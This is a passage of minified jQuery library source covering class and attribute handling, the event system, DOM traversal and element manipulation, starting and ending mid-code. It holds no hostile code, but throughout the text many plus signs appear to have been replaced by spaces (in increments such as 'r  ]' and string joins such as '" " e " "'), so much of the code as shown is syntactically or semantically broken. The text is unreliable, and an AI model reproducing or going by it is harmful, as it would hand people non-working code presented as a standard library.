")}}n.className=e?x.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r  ]){o.hasClass(t)?o.removeClass(t):o.addClass(t)}}else{(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")}})},hasClass:function(e){var t=" " e " ",n=0,r=this.length;for(;r>n;n  ){if(1===this[n].nodeType&&(" " this[n].className " ").replace(U," ").indexOf(t)>=0){return !0}}return !1},val:function(e){var n,r,i,o=this[0];if(arguments.length){return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o ="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e ""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set" in r&&r.set(this,o,"value")!==t||(this.value=o))})}if(o){return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get" in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i 1:r.length,l=0>i?s:o?i:0;for(;s>l;l  ){if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o){return t}a.push(t)}}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--){r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0)}return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get" in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set" in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r ""),r):(x.removeAttr(e,n),t))}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType){while(n=o[i  ]){r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-" n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)}}},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set" in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get" in o&&null!==(i=o.get(e,n))?i:e[n]}},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-" n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w /g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-" n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n ="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t ""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(. )|)$/;function it(){return !0}function ot(){return !1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid  ),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--){s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on" g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount  ,0,d):h.push(d),x.event.global[g]=!0)}e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--){if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)" h.join("\\.(?:.*\\.|)") "(\\.|$)"),l=o=f.length;while(o--){a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a))}l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else{for(d in c){x.event.remove(e,d t[u],n,r,!0)}}}x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on" g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)" m.join("\\.(?:.*\\.|)") "(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c g)||(u=u.parentNode);u;u=u.parentNode){h.push(u),f=u}f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d  ])&&!n.isPropagationStopped()){n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault()}if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n  ])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a  ])&&!e.isImmediatePropagationStopped()){(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type)){for(;u!=this;u=u.parentNode||this){if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a  ){i=n[a],r=i.selector " ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i)}o.length&&s.push({elem:u,handlers:o})}}}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando]){return e}var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--){n=r[t],e[n]=o[n]}return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX (o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY (o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus){try{return this.focus(),!1}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on" t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n  &&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e){this.on(a,n,r,e[a],o)}return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1){i=ot}else{if(!i){return this}}return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid  )),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj){return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType "." i.namespace:i.origType,i.selector,i.handler),this}if("object"==typeof e){for(o in e){this.off(o,n,e[o])}return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e){return this.pushStack(x(e).filter(function(){for(t=0;i>t;t  ){if(x.contains(r[t],this)){return !0}}}))}for(t=0;i>t;t  ){x.find(e,r[t],n)}return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector " " e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t  ){if(x.contains(this,n[t])){return !0}}})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return !!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r  ){for(n=this[r];n&&n!==t;n=n.parentNode){if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}}}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not(" e ")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r))){1===o.nodeType&&i.push(o),o=o[n]}return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling){1===e.nodeType&&e!==t&&n.push(e)}return n}});function ft(e,t,n){if(x.isFunction(t)){return x.grep(e,function(e,r){return !!t.call(e,r,e)!==n})}if(t.nodeType){return x.grep(e,function(e){return e===t!==n})}if("string"==typeof t){if(st.test(t)){return x.filter(t,e,n)}t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement){while(t.length){n.createElement(t.pop())}}return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d ="(?:null|\d )"/g,mt=RegExp("<(?:" ht ")[\\s/>]","i"),yt=/^\s /,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:] )[^>]*)\/>/gi,bt=/<([\w:] )/,xt=/<tbody/i,wt=/<|&#?\w ;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i  ){t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n))}return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t  ){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild){e.removeChild(e.firstChild)}e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t){return 1===n.nodeType?n.innerHTML.replace(gt,""):t}if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r  ){n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e)}n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t  ],i=e[t  ];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h)){return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)})}if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u  ){i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u)}if(o){for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u  ){i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")))}}l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type")) "/" e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r  ){x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s){for(r=0,i=s[n].length;i>r;r  ){x.event.add(t,n,s[n][r])}}}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events){x.removeEvent(t,r,i.handle)}t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r  ){n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get())}return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s){for(s=[],r=e.childNodes||e;null!=(o=r[a]);a  ){!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n))}}return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<" e.nodeName ">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e))){for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);  a){r[a]&&Ot(i,r[a])}}if(t){if(n){for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a  ){Mt(i,r[a])}}else{Mt(e,o)}}return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h  ){if(o=e[h],o||0===o){if("object"===x.type(o)){x.merge(d,o.nodeType?[o]:o)}else{if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1] o.replace(vt,"<$1></$2>") c[2],i=c[0];while(i--){s=s.lastChild}if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--){x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild){s.removeChild(s.firstChild)}s=f.lastChild}else{d.push(t.createTextNode(o))}}}}s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h  ]){if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i  ]){kt.test(o.type||"")&&n.push(o)}}}return s=null,f},cleanData:function(e,t){var 